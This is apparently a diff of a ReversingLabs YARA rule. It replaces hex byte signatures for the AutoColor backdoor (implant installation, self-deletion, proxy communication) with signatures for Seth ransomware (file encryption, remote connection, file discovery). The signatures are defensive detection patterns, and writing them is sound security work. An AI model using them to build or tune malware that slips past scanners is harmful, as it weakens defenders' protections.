"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "068d4d6916437197d4b3ac9c05803a35e15c00b0e70cb61ad6361981dc7cfee3" + logic_hash = "72a9d902eea2381f40d42faa7f1686c4ca54d364af0cbd8711697bbc1a235646" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "AutoColor" + tc_detection_type = "Ransomware" + tc_detection_name = "Seth" tc_detection_factor = 5 importance = 25 strings: - $install_library_implant_p1 = { - F3 0F 1E FA 55 48 89 E5 41 54 53 48 81 EC ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 - 89 45 ?? 31 C0 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 - 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 35 - ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C2 48 - 8D 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 - ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 45 ?? - 48 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 48 8D 45 ?? 48 89 D6 48 89 C7 E8 ?? - ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 - C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C2 48 8D 45 ?? 48 89 D6 - 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 - ?? ?? ?? ?? 48 8D 45 ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 - 89 C7 E8 ?? ?? ?? ?? 48 89 C2 48 8D 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 - ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? - ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? - ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 DE 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 - } - $install_library_implant_p2 = { - E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? ?? ?? ?? EB ?? 8B 45 ?? - 4C 63 E0 48 8B 5D ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 4C 89 E2 48 - 89 DE 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 9D ?? - ?? ?? ?? EB ?? BB ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 - C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? - ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 D8 48 8B 4D ?? 64 48 33 0C 25 ?? ?? ?? - ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? F3 0F 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? - ?? ?? ?? EB ?? F3 0F 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? F3 0F - 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? F3 0F 1E FA 48 89 C3 48 8D - 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? F3 0F 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? - ?? ?? ?? EB ?? F3 0F 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? F3 0F - 1E FA 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? F3 0F 1E FA 48 89 C3 48 8D - 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 - C4 ?? ?? ?? ?? 5B 41 5C 5D C3 - } - $self_delete = { - F3 0F 1E FA 55 48 89 E5 53 48 83 EC ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 89 45 ?? 31 C0 - 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 83 - 7D ?? ?? 74 ?? 8B 5D ?? EB ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? - ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 5D ?? EB ?? BB ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 - E8 ?? ?? ?? ?? 89 D8 48 8B 55 ?? 64 48 33 14 25 ?? ?? ?? ?? 74 ?? EB ?? F3 0F 1E FA - 48 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 83 C4 ?? 5B 5D C3 - } - $execute_local_file_p1 = { - F3 0F 1E FA 55 48 89 E5 41 55 41 54 53 48 81 EC ?? ?? ?? ?? 48 83 0C 24 ?? 48 81 EC - ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 48 89 8D ?? ?? - ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 89 45 ?? 31 C0 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 - ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? - 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8D 9D ?? ?? ?? ?? 41 BC ?? ?? - ?? ?? 49 89 DD 4D 85 E4 78 ?? 4C 89 EF E8 ?? ?? ?? ?? 49 83 C5 ?? 49 83 EC ?? EB ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 0F B6 C0 39 85 ?? ?? ?? ?? 7D ?? - 48 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 48 63 D2 48 C1 E2 ?? 48 01 C2 48 8B 85 ?? ?? - ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? EB ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C2 - 48 8D 85 ?? ?? ?? ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? C1 E8 ?? 84 C0 74 ?? E8 ?? ?? - ?? ?? 8B 00 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 74 - ?? 8B 85 ?? ?? ?? ?? 83 C8 ?? 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 89 - DE 48 89 C7 E8 ?? ?? ?? ?? C1 E8 ?? 84 C0 74 ?? E8 ?? ?? ?? ?? 8B 00 89 85 ?? ?? ?? - ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 88 ?? ?? - ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 + $encrypt_files_p1 = { + 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 8D 85 ?? + ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BA ?? ?? + ?? ?? 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? + BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 + 89 C1 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C1 48 8B 95 ?? + ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? + 48 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 0D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C1 48 8B 85 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? 48 + 8B 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA + ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 89 + C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 + 8D 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C1 48 8B 85 } - $execute_local_file_p2 = { - C7 E8 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? BF - ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 7D ?? 8B 85 ?? ?? ?? ?? 89 - C7 E8 ?? ?? ?? ?? 85 C0 83 85 ?? ?? ?? ?? ?? EB ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E8 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 78 ?? - 48 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 01 D0 0F B6 00 3C ?? 75 ?? 48 8B 85 - ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 48 63 D2 48 83 C2 ?? 48 01 C2 48 8D 85 ?? ?? ?? ?? 48 - 89 D6 48 89 C7 E8 ?? ?? ?? ?? EB ?? 83 85 ?? ?? ?? ?? ?? EB ?? 48 8B 85 ?? ?? ?? ?? - 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? - 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 0F B6 C0 39 - 85 ?? ?? ?? ?? 7D ?? 8B 85 ?? ?? ?? ?? 8D 48 ?? 8B 85 ?? ?? ?? ?? 48 98 48 C1 E0 ?? - 48 8D 75 ?? 48 01 F0 48 2D ?? ?? ?? ?? 48 8B 10 48 63 C1 48 89 94 C5 ?? ?? ?? ?? 83 + $encrypt_files_p2 = { + 48 89 C2 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C1 8B 85 + ?? ?? ?? ?? 89 C2 E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 48 98 48 89 C1 E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 + 63 C8 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 + 8B 95 ?? ?? ?? ?? 48 8D 45 ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 48 63 C8 48 8B 95 ?? ?? ?? ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 + 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 83 + BD ?? ?? ?? ?? ?? 74 ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 + 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? + ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? + 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? + ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? + ?? 5B 5D C3 } - $execute_local_file_p3 = { - 85 ?? ?? ?? ?? ?? EB ?? 0F B6 85 ?? ?? ?? ?? 0F B6 C0 83 C0 ?? 48 98 48 C7 84 C5 ?? - ?? ?? ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C2 48 8D 85 - ?? ?? ?? ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 - ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8B 85 - ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 41 89 C4 90 48 - 8D 9D ?? ?? ?? ?? 48 81 C3 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 39 C3 74 ?? 48 83 EB - ?? 48 89 DF E8 ?? ?? ?? ?? EB ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 44 89 - E0 48 8B 4D ?? 64 48 33 0C 25 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? F3 0F 1E - FA 49 89 C5 48 85 DB 74 ?? B8 ?? ?? ?? ?? 4C 29 E0 48 C1 E0 ?? 4C 8D 24 03 49 39 DC - 74 ?? 49 83 EC ?? 4C 89 E7 E8 ?? ?? ?? ?? EB ?? 4C 89 EB EB ?? F3 0F 1E FA 48 89 C3 - 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 49 89 DC EB ?? F3 0F 1E FA 49 89 C4 48 - 8D 9D ?? ?? ?? ?? 48 81 C3 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 39 C3 74 ?? 48 83 EB - ?? 48 89 DF E8 ?? ?? ?? ?? EB ?? 4C 89 E3 EB ?? F3 0F 1E FA 48 89 C3 48 8D 85 ?? ?? - ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 - C4 ?? ?? ?? ?? 5B 41 5C 41 5D 5D C3 + $remote_connection_p1 = { + 55 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 8B 05 ?? ?? + ?? ?? FF D0 89 C1 E8 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 85 ?? ?? + ?? ?? 41 89 D0 48 89 C2 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8B 05 ?? + ?? ?? ?? FF D0 89 C1 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C1 BA ?? ?? ?? ?? 89 C8 F7 EA + C1 FA ?? 89 C8 C1 F8 ?? 29 C2 89 D0 69 C0 ?? ?? ?? ?? 29 C1 89 C8 8D 88 ?? ?? ?? ?? + 48 8D 95 ?? ?? ?? ?? 48 8D 45 ?? 41 89 C9 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 + 8B 05 ?? ?? ?? ?? FF D0 C7 44 24 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? + BA ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? ?? ?? ?? + 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? + ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? + 0F 84 ?? ?? ?? ?? 48 8D 45 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 48 + 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB + ?? 8B 8D ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? + 48 C7 44 24 ?? ?? ?? ?? ?? 4D 89 C1 41 89 C8 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 B8 + ?? ?? ?? ?? 44 8D 40 ?? 48 8D 8D ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? + ?? 49 89 C9 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 85 C0 } - $network_proxy_communication_p1 = { - F3 0F 1E FA 55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 83 0C 24 ?? 48 81 EC ?? ?? ?? ?? 48 - 89 BD ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 89 45 ?? 31 C0 - B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 89 D7 FC F3 48 AB 89 F8 89 CA - 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 8D 50 ?? 85 C0 0F 48 - C2 C1 F8 ?? 89 C6 48 63 C6 48 8B BC C5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 99 C1 - EA ?? 01 D0 83 E0 ?? 29 D0 BA ?? ?? ?? ?? 89 C1 48 D3 E2 48 89 D0 48 09 C7 48 89 FA - 48 63 C6 48 89 94 C5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 8D 50 ?? 85 C0 0F 48 C2 - C1 F8 ?? 89 C6 48 63 C6 48 8B BC C5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 99 C1 EA - ?? 01 D0 83 E0 ?? 29 D0 BA ?? ?? ?? ?? 89 C1 48 D3 E2 48 89 D0 48 09 C7 48 89 FA 48 - 63 C6 48 89 94 C5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 39 85 ?? ?? ?? - ?? 7D ?? 48 8B 85 ?? ?? ?? ?? 8B 00 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 39 - 85 ?? ?? ?? ?? 7D ?? 48 8B 85 ?? ?? ?? ?? 8B 00 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 8D 78 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 B9 ?? ?? ?? ?? BA ?? ?? - ?? ?? 48 89 C6 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? - 8B 00 8D 50 ?? 85 C0 0F 48 C2 C1 F8 ?? 48 98 48 8B B4 C5 ?? ?? ?? ?? 48 8B 85 ?? ?? - ?? ?? 8B 00 99 C1 EA ?? 01 D0 83 E0 ?? 29 D0 BA ?? ?? ?? ?? 89 C1 48 D3 E2 48 89 D0 + $remote_connection_p2 = { + 74 ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? + ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 55 ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 + 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 85 ?? ?? ?? ?? 48 89 C1 + 48 8B 05 ?? ?? ?? ?? FF D0 B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 45 ?? 48 + 89 C1 E8 ?? ?? ?? ?? 84 C0 74 ?? C6 85 ?? ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 + 48 8B 05 ?? ?? ?? ?? FF D0 48 8B 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 + 48 8B 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 B9 ?? ?? ?? ?? 48 8B 05 ?? + ?? ?? ?? FF D0 0F B6 85 ?? ?? ?? ?? 83 F0 ?? 84 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 89 C1 BA ?? ?? ?? ?? 89 C8 F7 EA C1 FA ?? 89 C8 C1 F8 ?? 29 C2 89 D0 69 C0 ?? ?? ?? + ?? 29 C1 89 C8 8D 88 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 45 ?? 41 89 C9 49 89 D0 + 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 45 ?? 48 C7 44 24 ?? + ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 49 89 C0 48 8B 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 85 C0 0F 94 C0 84 C0 74 ?? 48 8D 55 ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 8D 15 + ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 85 ?? ?? ?? ?? 48 89 C1 48 8B + 05 ?? ?? ?? ?? FF D0 B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 45 ?? 48 89 C1 + E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? ?? 5D C3 } - $network_proxy_communication_p2 = { - 48 21 F0 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 48 8B - 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 D1 BA ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? - 48 8B 85 ?? ?? ?? ?? 8B 00 8D 50 ?? 85 C0 0F 48 C2 C1 F8 ?? 48 98 48 8B B4 C5 ?? ?? - ?? ?? 48 8B 85 ?? ?? ?? ?? 8B 00 99 C1 EA ?? 01 D0 83 E0 ?? 29 D0 BA ?? ?? ?? ?? 89 - C1 48 D3 E2 48 89 D0 48 21 F0 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D - B5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 D1 BA ?? ?? ?? ?? 48 89 - C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? EB - ?? 8B 95 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 - C7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? EB ?? 90 E9 ?? ?? ?? ?? 48 8B 4D ?? 64 48 33 0C 25 ?? ?? ?? ?? 74 ?? EB ?? - F3 0F 1E FA 48 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C9 C3 + $find_files = { + 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 83 F8 ?? 0F 95 C0 84 C0 74 ?? BB ?? + ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 95 ?? ?? ?? + ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C2 48 8B 0D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? + 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? + ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 + ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 